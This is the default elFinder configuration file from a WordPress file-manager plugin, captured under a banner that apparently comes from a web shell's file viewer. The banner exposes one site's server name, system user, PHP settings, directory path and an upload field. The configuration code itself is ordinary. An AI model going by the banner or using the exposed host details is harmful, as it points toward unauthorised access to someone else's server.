|
Server : LiteSpeed System : Linux srv475744146.host.ultaserver.net 5.15.0-138-generic #148-Ubuntu SMP Fri Mar 14 19:05:48 UTC 2025 x86_64 User : indog6927 ( 1163) PHP Version : 8.0.30 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare, Directory : /home/indogame99.org/public_html/wp-content/plugins/wp-file-manager/lib/js/ |
Upload File : |
/**
* Default elFinder config
*
* @type Object
* @autor Dmitry (dio) Levashov
*/
elFinder.prototype._options = {
/**
* URLs of 3rd party libraries CDN
*
* @type Object
*/
cdns : {
// for editor etc.
ace : 'https://cdnjs.cloudflare.com/ajax/libs/ace/1.4.12',
codemirror : 'https://cdnjs.cloudflare.com/ajax/libs/codemirror/5.61.1',
ckeditor : 'https://cdnjs.cloudflare.com/ajax/libs/ckeditor/4.16.1',
ckeditor5 : 'https://cdn.ckeditor.com/ckeditor5/28.0.0',
tinymce : 'https://cdnjs.cloudflare.com/ajax/libs/tinymce/5.7.1',
simplemde : 'https://cdnjs.cloudflare.com/ajax/libs/simplemde/1.11.2',
fabric : 'https://cdnjs.cloudflare.com/ajax/libs/fabric.js/4.2.0',
fabric16 : 'https://cdnjs.cloudflare.com/ajax/libs/fabric.js/1.6.7',
tui : 'https://uicdn.toast.com',
// for quicklook etc.
hls : 'https://cdnjs.cloudflare.com/ajax/libs/hls.js/1.0.2/hls.min.js',
dash : 'https://cdnjs.cloudflare.com/ajax/libs/dashjs/3.2.2/dash.all.min.js',
flv : 'https://cdnjs.cloudflare.com/ajax/libs/flv.js/1.5.0/flv.min.js',
videojs : 'https://cdnjs.cloudflare.com/ajax/libs/video.js/7.12.1',
prettify : 'https://cdn.jsdelivr.net/gh/google/code-prettify@f1c3473acd1e8ea8c8c1a60c56e89f5cdd06f915/loader/run_prettify.js',
psd : 'https://cdnjs.cloudflare.com/ajax/libs/psd.js/3.2.0/psd.min.js',
rar : 'https://cdn.jsdelivr.net/gh/nao-pon/rar.js@6cef13ec66dd67992fc7f3ea22f132d770ebaf8b/rar.min.js',
zlibUnzip : 'https://cdn.jsdelivr.net/gh/imaya/zlib.js@0.3.1/bin/unzip.min.js', // need check unzipFiles() in quicklook.plugins.js when update
zlibGunzip : 'https://cdn.jsdelivr.net/gh/imaya/zlib.js@0.3.1/bin/gunzip.min.js',
bzip2 : 'https://cdn.jsdelivr.net/gh/nao-pon/bzip2.js@0.8.0/bzip2.js',
marked : 'https://cdnjs.cloudflare.com/ajax/libs/marked/2.0.3/marked.min.js',
sparkmd5 : 'https://cdnjs.cloudflare.com/ajax/libs/spark-md5/3.0.0/spark-md5.min.js',
jssha : 'https://cdnjs.cloudflare.com/ajax/libs/jsSHA/3.2.0/sha.min.js',
amr : 'https://cdn.jsdelivr.net/gh/yxl/opencore-amr-js@dcf3d2b5f384a1d9ded2a54e4c137a81747b222b/js/amrnb.js',
tiff : 'https://cdn.jsdelivr.net/gh/seikichi/tiff.js@545ede3ee46b5a5bc5f06d65954e775aa2a64017/tiff.min.js'
},
/**
* Connector url. Required!
*
* @type String
*/
url : '',
/**
* Ajax request type.
*
* @type String
* @default "get"
*/
requestType : 'get',
/**
* Use CORS to connector url
*
* @type Boolean|null true|false|null(Auto detect)
*/
cors : null,
/**
* Array of header names to return parrot out in HTTP headers received from the server
*
* @type Array
*/
parrotHeaders : [],
/**
* Maximum number of concurrent connections on request
*
* @type Number
* @default 3
*/
requestMaxConn : 3,
/**
* Transport to send request to backend.
* Required for future extensions using websockets/webdav etc.
* Must be an object with "send" method.
* transport.send must return jQuery.Deferred() object
*
* @type Object
* @default null
* @example
* transport : {
* init : function(elfinderInstance) { },
* send : function(options) {
* var dfrd = jQuery.Deferred();
* // connect to backend ...
* return dfrd;
* },
* upload : function(data) {
* var dfrd = jQuery.Deferred();
* // upload ...
* return dfrd;
* }
*
* }
**/
transport : {},
/**
* URL to upload file to.
* If not set - connector URL will be used
*
* @type String
* @default ''
*/
urlUpload : '',
/**
* Allow to drag and drop to upload files
*
* @type Boolean|String
* @default 'auto'
*/
dragUploadAllow : 'auto',
/**
* Confirmation dialog displayed at the time of overwriting upload
*
* @type Boolean
* @default true
*/
overwriteUploadConfirm : true,
/**
* Max size of chunked data of file upload
*
* @type Number
* @default 10485760(10MB)
*/
uploadMaxChunkSize : 10485760,
/**
* Regular expression of file name to exclude when uploading folder
*
* @type Object
* @default { win: /^(?:desktop\.ini|thumbs\.db)$/i, mac: /^\.ds_store$/i }
*/
folderUploadExclude : {
win: /^(?:desktop\.ini|thumbs\.db)$/i,
mac: /^\.ds_store$/i
},
/**
* Timeout for upload using iframe
*
* @type Number
* @default 0 - no timeout
*/
iframeTimeout : 0,
/**
* Data to append to all requests and to upload files
*
* @type Object
* @default {}
*/
customData : {},
/**
* Event listeners to bind on elFinder init
*
* @type Object
* @default {}
*/
handlers : {},
/**
* Any custom headers to send across every ajax request
*
* @type Object
* @default {}
*/
customHeaders : {},
/**
* Any custom xhrFields to send across every ajax request
*
* @type Object
* @default {}
*/
xhrFields : {},
/**
* Interface language
*
* @type String
* @default "en"
*/
lang : 'en',
/**
* Base URL of elfFinder library starting from Manager HTML
* Auto detect when empty value
*
* @type String
* @default ""
*/
baseUrl : '',
/**
* Base URL of i18n js files
* baseUrl + "js/i18n/" when empty value
*
* @type String
* @default ""
*/
i18nBaseUrl : '',
/**
* Base URL of worker js files
* baseUrl + "js/worker/" when empty value
*
* @type String
* @default ""
*/
workerBaseUrl : '',
/**
* Auto load required CSS
* `false` to disable this function or
* CSS URL Array to load additional CSS files
*
* @type Boolean|Array
* @default true
*/
cssAutoLoad : true,
/**
* Theme to load
* {"themeid" : "Theme CSS URL"} or
* {"themeid" : "Theme manifesto.json URL"} or
* Theme manifesto.json Object
* {
* "themeid" : {
* "name":"Theme Name",
* "cssurls":"Theme CSS URL",
* "author":"Author Name",
* "email":"Author Email",
* "license":"License",
* "link":"Web Site URL",
* "image":"Screen Shot URL",
* "description":"Description"
* }
* }
*
* @type Object
*/
themes : {},
/**
* Theme id to initial theme
*
* @type String|Null
*/
theme : null,
/**
* Maximum value of error dialog open at the same time
*
* @type Number
*/
maxErrorDialogs : 5,
/**
* Additional css class for filemanager node.
*
* @type String
*/
cssClass : '',
/**
* Active commands list. '*' means all of the commands that have been load.
* If some required commands will be missed here, elFinder will add its
*
* @type Array
*/
commands : ['*'],
// Available commands list
//commands : [
// 'archive', 'back', 'chmod', 'colwidth', 'copy', 'cut', 'download', 'duplicate', 'edit', 'extract',
// 'forward', 'fullscreen', 'getfile', 'help', 'home', 'info', 'mkdir', 'mkfile', 'netmount', 'netunmount',
// 'open', 'opendir', 'paste', 'places', 'quicklook', 'reload', 'rename', 'resize', 'restore', 'rm',
// 'search', 'sort', 'up', 'upload', 'view', 'zipdl'
//],
/**
* Commands options.
*
* @type Object
**/
commandsOptions : {
// // configure shortcuts of any command
// // add `shortcuts` property into each command
// any_command_name : {
// shortcuts : [] // for disable this command's shortcuts
// },
// any_command_name : {
// shortcuts : function(fm, shortcuts) {
// // for add `CTRL + E` for this command action
// shortcuts[0]['pattern'] += ' ctrl+e';
// return shortcuts;
// }
// },
// any_command_name : {
// shortcuts : function(fm, shortcuts) {
// // for full customize of this command's shortcuts
// return [ { pattern: 'ctrl+e ctrl+down numpad_enter' + (fm.OS != 'mac' && ' enter') } ];
// }
// },
// "getfile" command options.
getfile : {
onlyURL : false,
// allow to return multiple files info
multiple : false,
// allow to return filers info
folders : false,
// action after callback (""/"close"/"destroy")
oncomplete : '',
// action when callback is fail (""/"close"/"destroy")
onerror : '',
// get path before callback call
getPath : true,
// get image sizes before callback call
getImgSize : false
},
open : {
// HTTP method that request to the connector when item URL is not valid URL.
// If you set to "get" will be displayed request parameter in the browser's location field
// so if you want to conceal its parameters should be given "post".
// Nevertheless, please specify "get" if you want to enable the partial request by HTTP Range header.
method : 'post',
// Where to open into : 'window'(default), 'tab' or 'tabs'
// 'tabs' opens in each tabs
into : 'window',
// Default command list of action when select file
// String value that is 'Command Name' or 'Command Name1/CommandName2...'
selectAction : 'open'
},
opennew : {
// URL of to open elFinder manager
// Default '' : Origin URL
url : '',
// Use search query of origin URL
useOriginQuery : true
},
// "upload" command options.
upload : {
// Open elFinder upload dialog: 'button' OR Open system OS upload dialog: 'uploadbutton'
ui : 'button'
},
// "download" command options.
download : {
// max request to download files when zipdl disabled
maxRequests : 10,
// minimum count of files to use zipdl
minFilesZipdl : 2
},
// "quicklook" command options.
quicklook : {
autoplay : true,
width : 450,
height : 300,
// ControlsList of HTML5 audio/video preview
// see https://googlechrome.github.io/samples/media/controlslist.html
mediaControlsList : '', // e.g. 'nodownload nofullscreen noremoteplayback'
// Show toolbar of PDF preview (with <embed> tag)
pdfToolbar : true,
// Maximum lines to preview at initial
textInitialLines : 100,
// Maximum lines to preview by prettify
prettifyMaxLines : 300,
// quicklook window must be contained in elFinder node on window open (true|false)
contain : false,
// preview window into NavDock (0 : undocked | 1 : docked(show) | 2 : docked(hide))
docked : 0,
// Docked preview height ('auto' or Number of pixel) 'auto' is setted to the Navbar width
dockHeight : 'auto',
// media auto play when docked
dockAutoplay : false,
// Google Maps API key (Require Maps JavaScript API)
googleMapsApiKey : '',
// Google Maps API Options
googleMapsOpts : {
maps : {},
kml : {
suppressInfoWindows : false,
preserveViewport : false
}
},
// ViewerJS (https://viewerjs.org/) Options
// To enable this you need to place ViewerJS on the same server as elFinder and specify that URL in `url`.
viewerjs : {
url: '', // Example '/ViewerJS/index.html'
mimes: ['application/pdf', 'application/vnd.oasis.opendocument.text', 'application/vnd.oasis.opendocument.spreadsheet', 'application/vnd.oasis.opendocument.presentation'],
pdfNative: true // Use Native PDF Viewer first
},
// MIME types to CAD-Files and 3D-Models online viewer on sharecad.org
// Example ['image/vnd.dwg', 'image/vnd.dxf', 'model/vnd.dwf', 'application/vnd.hp-hpgl', 'application/plt', 'application/step', 'model/iges', 'application/vnd.ms-pki.stl', 'application/sat', 'image/cgm', 'application/x-msmetafile']
sharecadMimes : [],
// MIME types to use Google Docs online viewer
// Example ['application/pdf', 'image/tiff', 'application/vnd.ms-office', 'application/msword', 'application/vnd.ms-word', 'application/vnd.ms-excel', 'application/vnd.ms-powerpoint', 'application/vnd.openxmlformats-officedocument.wordprocessingml.document', 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet', 'application/vnd.openxmlformats-officedocument.presentationml.presentation', 'application/postscript', 'application/rtf']
googleDocsMimes : [],
// MIME types to use Microsoft Office Online viewer
// Example ['application/msword', 'application/vnd.ms-word', 'application/vnd.ms-excel', 'application/vnd.ms-powerpoint', 'application/vnd.openxmlformats-officedocument.wordprocessingml.document', 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet', 'application/vnd.openxmlformats-officedocument.presentationml.presentation', 'application/vnd.oasis.opendocument.text', 'application/vnd.oasis.opendocument.spreadsheet', 'application/vnd.oasis.opendocument.presentation']
// These MIME types override "googleDocsMimes"
officeOnlineMimes : [],
// File size threshold when using the dim command for obtain the image size necessary to image preview
getDimThreshold : '200K',
// Max filesize to show filenames of the zip/tar/gzip/bzip file
unzipMaxSize : '50M',
// MIME-Type regular expression that does not check empty files
mimeRegexNotEmptyCheck : /^application\/vnd\.google-apps\./
},
// "edit" command options.
edit : {
// dialog width, integer(px) or integer+'%' (example: 650, '80%' ...)
dialogWidth : void(0),
// dialog height, integer(px) or integer+'%' (example: 650, '80%' ...)
dialogHeight : void(0),
// list of allowed mimetypes to edit of text files
// if empty - any text files can be edited
mimes : [],
// MIME-types to unselected as default of "File types to enable with "New file"" in preferences
mkfileHideMimes : [],
// MIME-types of text file to make empty file
makeTextMimes : ['text/plain', 'text/css', 'text/html'],
// Use the editor stored in the browser
// This value allowd overwrite with user preferences
useStoredEditor : false,
// Open the maximized editor window
// This value allowd overwrite with user preferences
editorMaximized : false,
// edit files in wysisyg's
editors : [
// {
// /**
// * editor info
// * @type Object
// */
// info : { name: 'Editor Name' },
// /**
// * files mimetypes allowed to edit in current wysisyg
// * @type Array
// */
// mimes : ['text/html'],
// /**
// * HTML element for editing area (optional for text editor)
// * @type String
// */
// html : '<textarea></textarea>',
// /**
// * Initialize editing area node (optional for text editor)
// *
// * @param String dialog DOM id
// * @param Object target file object
// * @param String target file content (text or Data URI Scheme(binary file))
// * @param Object elFinder instance
// * @type Function
// */
// init : function(id, file, content, fm) {
// jQuery(this).attr('id', id + '-text').val(content);
// },
// /**
// * Get edited contents (optional for text editor)
// * @type Function
// */
// getContent : function() {
// return jQuery(this).val();
// },
// /**
// * Called when "edit" dialog loaded.
// * Place to init wysisyg.
// * Can return wysisyg instance
// *
// * @param DOMElement textarea node
// * @return Object editor instance|jQuery.Deferred(return instance on resolve())
// */
// load : function(textarea) { },
// /**
// * Called before "edit" dialog closed.
// * Place to destroy wysisyg instance.
// *
// * @param DOMElement textarea node
// * @param Object wysisyg instance (if was returned by "load" callback)
// * @return void
// */
// close : function(textarea, instance) { },
// /**
// * Called before file content send to backend.
// * Place to update textarea content if needed.
// *
// * @param DOMElement textarea node
// * @param Object wysisyg instance (if was returned by "load" callback)
// * @return void
// */
// save : function(textarea, instance) {},
// /**
// * Called after load() or save().
// * Set focus to wysisyg editor.
// *
// * @param DOMElement textarea node
// * @param Object wysisyg instance (if was returned by "load" callback)
// * @return void
// */
// focus : function(textarea, instance) {}
// /**
// * Called after dialog resized..
// *
// * @param DOMElement textarea node
// * @param Object wysisyg instance (if was returned by "load" callback)
// * @param Object resize event object
// * @param Object data object
// * @return void
// */
// resize : function(textarea, instance, event, data) {}
//
// }
],
// Character encodings of select box
encodings : ['Big5', 'Big5-HKSCS', 'Cp437', 'Cp737', 'Cp775', 'Cp850', 'Cp852', 'Cp855', 'Cp857', 'Cp858',
'Cp862', 'Cp866', 'Cp874', 'EUC-CN', 'EUC-JP', 'EUC-KR', 'GB18030', 'ISO-2022-CN', 'ISO-2022-JP', 'ISO-2022-KR',
'ISO-8859-1', 'ISO-8859-2', 'ISO-8859-3', 'ISO-8859-4', 'ISO-8859-5', 'ISO-8859-6', 'ISO-8859-7',
'ISO-8859-8', 'ISO-8859-9', 'ISO-8859-13', 'ISO-8859-15', 'KOI8-R', 'KOI8-U', 'Shift-JIS',
'Windows-1250', 'Windows-1251', 'Windows-1252', 'Windows-1253', 'Windows-1254', 'Windows-1257'],
// options for extra editors
extraOptions : {
// upload command options
uploadOpts : {},
// TUI Image Editor's options
tuiImgEditOpts : {
// Path prefix of icon-a.svg, icon-b.svg, icon-c.svg and icon-d.svg in the Theme.
// `iconsPath` MUST follow the same origin policy.
iconsPath : void(0), // default is "./img/tui-"
// Theme object
theme : {}
},
// Pixo image editor constructor options - https://pixoeditor.com/
// Require 'apikey' to enable it
pixo: {
apikey: ''
},
// Browsing manager URL for CKEditor, TinyMCE
// Uses self location with the empty value or not defined.
//managerUrl : 'elfinder.html'
managerUrl : null,
// CKEditor editor options
ckeditor: {},
// CKEditor 5 editor options
ckeditor5: {
// builds mode - 'classic', 'inline', 'balloon', 'balloon-block' or 'decoupled-document'
mode: 'decoupled-document'
},
// TinyMCE editor options
tinymce : {},
// Setting for Online-Convert.com
onlineConvert : {
maxSize : 100, // (MB) Max 100MB on free account
showLink : true // It must be enabled with free account
}
}
},
fullscreen : {
// fullscreen mode 'screen'(When the browser supports it) or 'window'
mode: 'screen' // 'screen' or 'window'
},
search : {
// Incremental search from the current view
incsearch : {
enable : true, // is enable true or false
minlen : 1, // minimum number of characters
wait : 500 // wait milliseconds
},
// Additional search types
searchTypes : {
// "SearchMime" is implemented in default
SearchMime : { // The key is search type that send to the connector
name : 'btnMime', // Button text to be processed in i18n()
title : 'searchMime',// Button title to be processed in i18n()
incsearch : 'mime' // Incremental search target filed name of the file object
// Or Callable function
/* incsearch function example
function(queryObject, cwdHashes, elFinderInstance) {
var q = queryObject.val;
var regex = queryObject.regex;
var matchedHashes = jQuery.grep(cwdHashes, function(hash) {
var file = elFinderInstance.file(hash);
return (file && file.mime && file.mime.match(regex))? true : false;
});
return matchedHashes;
}
*/
}
}
},
// "info" command options.
info : {
// If the URL of the Directory is null,
// it is assumed that the link destination is a URL to open the folder in elFinder
nullUrlDirLinkSelf : true,
// Information items to be hidden by default
// These name are 'size', 'aliasfor', 'path', 'link', 'dim', 'modify', 'perms', 'locked', 'owner', 'group', 'perm' and your custom info items label
hideItems : [],
// Maximum file size (byte) to get file contents hash (md5, sha256 ...)
showHashMaxsize : 104857600, // 100 MB
// Array of hash algorisms to show on info dialog
// These name are 'md5', 'sha1', 'sha224', 'sha256', 'sha384', 'sha512', 'sha3-224', 'sha3-256', 'sha3-384', 'sha3-512', 'shake128' and 'shake256'
showHashAlgorisms : ['md5', 'sha256'],
// Options for fm.getContentsHashes()
showHashOpts : {
shake128len : 256,
shake256len : 512
},
custom : {
// /**
// * Example of custom info `desc`
// */
// desc : {
// /**
// * Lable (require)
// * It is filtered by the `fm.i18n()`
// *
// * @type String
// */
// label : 'Description',
//
// /**
// * Template (require)
// * `{id}` is replaced in dialog.id
// *
// * @type String
// */
// tpl : '<div class="elfinder-info-desc"><span class="elfinder-spinner"></span></div>',
//
// /**
// * Restricts to mimetypes (optional)
// * Exact match or category match
// *
// * @type Array
// */
// mimes : ['text', 'image/jpeg', 'directory'],
//
// /**
// * Restricts to file.hash (optional)
// *
// * @ type Regex
// */
// hashRegex : /^l\d+_/,
//
// /**
// * Request that asks for the description and sets the field (optional)
// *
// * @type Function
// */
// action : function(file, fm, dialog) {
// fm.request({
// data : { cmd : 'desc', target: file.hash },
// preventDefault: true,
// })
// .fail(function() {
// dialog.find('div.elfinder-info-desc').html(fm.i18n('unknown'));
// })
// .done(function(data) {
// dialog.find('div.elfinder-info-desc').html(data.desc);
// });
// }
// }
}
},
mkdir: {
// Enable automatic switching function ["New Folder" / "Into New Folder"] of toolbar buttton
intoNewFolderToolbtn: false
},
resize: {
// defalt status of snap to 8px grid of the jpeg image ("enable" or "disable")
grid8px : 'disable',
// Preset size array [width, height]
presetSize : [[320, 240], [400, 400], [640, 480], [800,600]],
// File size (bytes) threshold when using the `dim` command for obtain the image size necessary to start editing
getDimThreshold : 204800,
// File size (bytes) to request to get substitute image (400px) with the `dim` command
dimSubImgSize : 307200
},
rm: {
// If trash is valid, items moves immediately to the trash holder without confirm.
quickTrash : true,
// Maximum wait seconds when checking the number of items to into the trash
infoCheckWait : 10,
// Maximum number of items that can be placed into the Trash at one time
toTrashMaxItems : 1000
},
paste : {
moveConfirm : false // Display confirmation dialog when moving items
},
help : {
// Tabs to show
view : ['about', 'shortcuts', 'help', 'integrations', 'debug'],
// HTML source URL of the heip tab
helpSource : ''
},
preference : {
// dialog width
width: 600,
// dialog height
height: 400,
// tabs setting see preference.js : build()
categories: null,
// preference setting see preference.js : build()
prefs: null,
// language setting see preference.js : build()
langs: null,
// Command list of action when select file
// Array value are 'Command Name' or 'Command Name1/CommandName2...'
selectActions : ['open', 'edit/download', 'resize/edit/download', 'download', 'quicklook']
}
},
/**
* Disabled commands relationship
*
* @type Object
*/
disabledCmdsRels : {
'get' : ['edit'],
'rm' : ['cut', 'empty'],
'file&url=' : ['download', 'zipdl'] // file command and volume options url is empty
},
/**
* Callback for prepare boot up
*
* - The this object in the function is an elFinder node
* - The first parameter is elFinder Instance
* - The second parameter is an object of other parameters
* For now it can use `dfrdsBeforeBootup` Array
*
* @type Function
* @default null
* @return void
*/
bootCallback : null,
/**
* Callback for "getfile" commands.
* Required to use elFinder with WYSIWYG editors etc..
*
* @type Function
* @default null (command not active)
*/
getFileCallback : null,
/**
* Default directory view. icons/list
*
* @type String
* @default "icons"
*/
defaultView : 'icons',
/**
* Hash of default directory path to open
*
* NOTE: This setting will be disabled if the target folder is specified in location.hash.
*
* If you want to find the hash in Javascript
* can be obtained with the following code. (In the case of a standard hashing method)
*
* var volumeId = 'l1_'; // volume id
* var path = 'path/to/target'; // without root path
* //var path = 'path\\to\\target'; // use \ on windows server
* var hash = volumeId + btoa(path).replace(/\+/g, '-').replace(/\//g, '_').replace(/=/g, '.').replace(/\.+$/, '');
*
* @type String
* @default ""
*/
startPathHash : '',
/**
* Emit a sound when a file is deleted
* Sounds are in sounds/ folder
*
* @type Boolean
* @default true
*/
sound : true,
/**
* UI plugins to load.
* Current dir ui and dialogs loads always.
* Here set not required plugins as folders tree/toolbar/statusbar etc.
*
* @type Array
* @default ['toolbar', 'places', 'tree', 'path', 'stat']
* @full ['toolbar', 'places', 'tree', 'path', 'stat']
*/
ui : ['toolbar', 'tree', 'path', 'stat'],
/**
* Some UI plugins options.
* @type Object
*/
uiOptions : {
// toolbar configuration
toolbar : [
['home', 'back', 'forward', 'up', 'reload'],
['netmount'],
['mkdir', 'mkfile', 'upload'],
['open', 'download', 'getfile'],
['undo', 'redo'],
['copy', 'cut', 'paste', 'rm', 'empty', 'hide'],
['duplicate', 'rename', 'edit', 'resize', 'chmod'],
['selectall', 'selectnone', 'selectinvert'],
['quicklook', 'info'],
['extract', 'archive'],
['search'],
['view', 'sort'],
['fullscreen']
],
// toolbar extra options
toolbarExtra : {
// also displays the text label on the button (true / false / 'none')
displayTextLabel: false,
// Exclude `displayTextLabel` setting UA type
labelExcludeUA: ['Mobile'],
// auto hide on initial open
autoHideUA: ['Mobile'],
// Initial setting value of hide button in toolbar setting
defaultHides: ['home', 'reload'],
// show Preference button ('none', 'auto', 'always')
// If you do not include 'preference' in the context menu you should specify 'auto' or 'always'
showPreferenceButton: 'none',
// show Preference button into contextmenu of the toolbar (true / false)
preferenceInContextmenu: false
},
// directories tree options
tree : {
// set path info to attr title
attrTitle : true,
// expand current root on init
openRootOnLoad : true,
// expand current work directory on open
openCwdOnOpen : true,
// auto loading current directory parents and do expand their node.
syncTree : true,
// Maximum number of display of each child trees
// The tree of directories with children exceeding this number will be split
subTreeMax : 100,
// Numbar of max connctions of subdirs request
subdirsMaxConn : 2,
// Number of max simultaneous processing directory of subdirs
subdirsAtOnce : 5,
// Durations of each animations
durations : {
slideUpDown : 'fast',
autoScroll : 'fast'
}
// ,
// /**
// * Add CSS class name to navbar directories (optional)
// * see: https://github.com/Studio-42/elFinder/pull/1061,
// * https://github.com/Studio-42/elFinder/issues/1231
// *
// * @type Function
// */
// getClass: function(dir) {
// // e.g. This adds the directory's name (lowercase) with prefix as a CSS class
// return 'elfinder-tree-' + dir.name.replace(/[ "]/g, '').toLowerCase();
// }
},
// navbar options
navbar : {
minWidth : 150,
maxWidth : 500,
// auto hide on initial open
autoHideUA: [] // e.g. ['Mobile']
},
navdock : {
// disabled navdock ui
disabled : false,
// percentage of initial maximum height to work zone
initMaxHeight : '50%',
// percentage of maximum height to work zone by user resize action
maxHeight : '90%'
},
cwd : {
// display parent folder with ".." name :)
oldSchool : false,
// fm.UA types array to show item select checkboxes e.g. ['All'] or ['Mobile'] etc. default: ['Touch']
showSelectCheckboxUA : ['Touch'],
// Enable dragout by dragstart with Alt key or Shift key
metakeyDragout : true,
// file info columns displayed
listView : {
// name is always displayed, cols are ordered
// e.g. ['perm', 'date', 'size', 'kind', 'owner', 'group', 'mode']
// mode: 'mode'(by `fileModeStyle` setting), 'modestr'(rwxr-xr-x) , 'modeoct'(755), 'modeboth'(rwxr-xr-x (755))
// 'owner', 'group' and 'mode', It's necessary set volume driver option "statOwner" to `true`
// for custom, characters that can be used in the name is `a-z0-9_`
columns : ['perm', 'date', 'size', 'kind'],
// override this if you want custom columns name
// example
// columnsCustomName : {
// date : 'Last modification',
// kind : 'Mime type'
// }
columnsCustomName : {},
// fixed list header colmun
fixedHeader : true
},
// icons view setting
iconsView : {
// default icon size (0-3 in default CSS (cwd.css - elfinder-cwd-size[number]))
size: 0,
// number of maximum size (3 in default CSS (cwd.css - elfinder-cwd-size[number]))
// uses in preference.js
sizeMax: 3,
// Name of each size
sizeNames: {
0: 'viewSmall',
1: 'viewMedium',
2: 'viewLarge',
3: 'viewExtraLarge'
}
},
// /**
// * Add CSS class name to cwd directories (optional)
// * see: https://github.com/Studio-42/elFinder/pull/1061,
// * https://github.com/Studio-42/elFinder/issues/1231
// *
// * @type Function
// */
// ,
// getClass: function(file) {
// // e.g. This adds the directory's name (lowercase) with prefix as a CSS class
// return 'elfinder-cwd-' + file.name.replace(/[ "]/g, '').toLowerCase();
//}
//,
//// Template placeholders replacement rules for overwrite. see ui/cwd.js replacement
//replacement : {
// tooltip : function(f, fm) {
// var list = fm.viewType == 'list', // current view type
// query = fm.searchStatus.state == 2, // is in search results
// title = fm.formatDate(f) + (f.size > 0 ? ' ('+fm.formatSize(f.size)+')' : ''),
// info = '';
// if (query && f.path) {
// info = fm.escape(f.path.replace(/\/[^\/]*$/, ''));
// } else {
// info = f.tooltip? fm.escape(f.tooltip).replace(/\r/g, ' ') : '';
// }
// if (list) {
// info += (info? ' ' : '') + fm.escape(f.name);
// }
// return info? info + ' ' + title : title;
// }
//}
},
path : {
// Move to head of work zone without UI navbar
toWorkzoneWithoutNavbar : true
},
dialog : {
// Enable to auto focusing on mouse over in the target form element
focusOnMouseOver : true
},
toast : {
animate : {
// to show
showMethod: 'fadeIn', // fadeIn, slideDown, and show are built into jQuery
showDuration: 300, // milliseconds
showEasing: 'swing', // swing and linear are built into jQuery
// timeout to hide
timeOut: 3000,
// to hide
hideMethod: 'fadeOut',
hideDuration: 1500,
hideEasing: 'swing'
}
}
},
/**
* MIME regex of send HTTP header "Content-Disposition: inline" or allow preview in quicklook
* This option will overwrite by connector configuration
*
* @type String
* @default '^(?:(?:image|video|audio)|text/plain|application/pdf$)'
* @example
* dispInlineRegex : '.', // is allow inline of all of MIME types
* dispInlineRegex : '$^', // is not allow inline of all of MIME types
*/
dispInlineRegex : '^(?:(?:image|video|audio)|application/(?:x-mpegURL|dash\+xml)|(?:text/plain|application/pdf)$)',
/**
* Display only required files by types
*
* @type Array
* @default []
* @example
* onlyMimes : ["image"] - display all images
* onlyMimes : ["image/png", "application/x-shockwave-flash"] - display png and flash
*/
onlyMimes : [],
/**
* Custom files sort rules.
* All default rules (name/size/kind/date/perm/mode/owner/group) set in elFinder._sortRules
*
* @type {Object}
* @example
* sortRules : {
* name : function(file1, file2) { return file1.name.toLowerCase().localeCompare(file2.name.toLowerCase()); }
* }
*/
sortRules : {},
/**
* Default sort type.
*
* @type {String}
*/
sortType : 'name',
/**
* Default sort order.
*
* @type {String}
* @default "asc"
*/
sortOrder : 'asc',
/**
* Display folders first?
*
* @type {Boolean}
* @default true
*/
sortStickFolders : true,
/**
* Sort also applies to the treeview (null: disable this feature)
*
* @type Boolean|null
* @default false
*/
sortAlsoTreeview : false,
/**
* If true - elFinder will formating dates itself,
* otherwise - backend date will be used.
*
* @type Boolean
*/
clientFormatDate : true,
/**
* Show UTC dates.
* Required set clientFormatDate to true
*
* @type Boolean
*/
UTCDate : false,
/**
* File modification datetime format.
* Value from selected language data is used by default.
* Set format here to overwrite it.
*
* @type String
* @default ""
*/
dateFormat : '',
/**
* File modification datetime format in form "Yesterday 12:23:01".
* Value from selected language data is used by default.
* Set format here to overwrite it.
* Use $1 for "Today"/"Yesterday" placeholder
*
* @type String
* @default ""
* @example "$1 H:m:i"
*/
fancyDateFormat : '',
/**
* Style of file mode at cwd-list, info dialog
* 'string' (ex. rwxr-xr-x) or 'octal' (ex. 755) or 'both' (ex. rwxr-xr-x (755))
*
* @type {String}
* @default 'both'
*/
fileModeStyle : 'both',
/**
* elFinder width
*
* @type String|Number
* @default "auto"
*/
width : 'auto',
/**
* elFinder node height
* Number: pixcel or String: Number + "%"
*
* @type Number | String
* @default 400
*/
height : 400,
/**
* Do not resize the elFinder node itself on resize parent node
* Specify `true` when controlling with CSS such as Flexbox
*
* @type Boolean
* @default false
*/
noResizeBySelf : false,
/**
* Base node object or selector
* Element which is the reference of the height percentage
*
* @type Object|String
* @default null | jQuery(window) (if height is percentage)
**/
heightBase : null,
/**
* Make elFinder resizable if jquery ui resizable available
*
* @type Boolean
* @default true
*/
resizable : true,
/**
* Timeout before open notifications dialogs
*
* @type Number
* @default 500 (.5 sec)
*/
notifyDelay : 500,
/**
* Position CSS, Width of notifications dialogs
*
* @type Object
* @default {position: {}, width : null} - Apply CSS definition
* position: CSS object | null (null: position center & middle)
*/
notifyDialog : {position : {}, width : null, canClose : false, hiddens : ['open']},
/**
* Dialog contained in the elFinder node
*
* @type Boolean
* @default false
*/
dialogContained : false,
/**
* Allow shortcuts
*
* @type Boolean
* @default true
*/
allowShortcuts : true,
/**
* Remeber last opened dir to open it after reload or in next session
*
* @type Boolean
* @default true
*/
rememberLastDir : true,
/**
* Clear historys(elFinder) on reload(not browser) function
* Historys was cleared on Reload function on elFinder 2.0 (value is true)
*
* @type Boolean
* @default false
*/
reloadClearHistory : false,
/**
* Use browser native history with supported browsers
*
* @type Boolean
* @default true
*/
useBrowserHistory : true,
/**
* Lazy load config.
* How many files display at once?
*
* @type Number
* @default 50
*/
showFiles : 50,
/**
* Lazy load config.
* Distance in px to cwd bottom edge to start display files
*
* @type Number
* @default 50
*/
showThreshold : 50,
/**
* Additional rule to valid new file name.
* By default not allowed empty names or '..'
* This setting does not have a sense of security.
*
* @type false|RegExp|function
* @default false
* @example
* disable names with spaces:
* validName : /^[^\s]+$/,
*/
validName : false,
/**
* Additional rule to filtering for browsing.
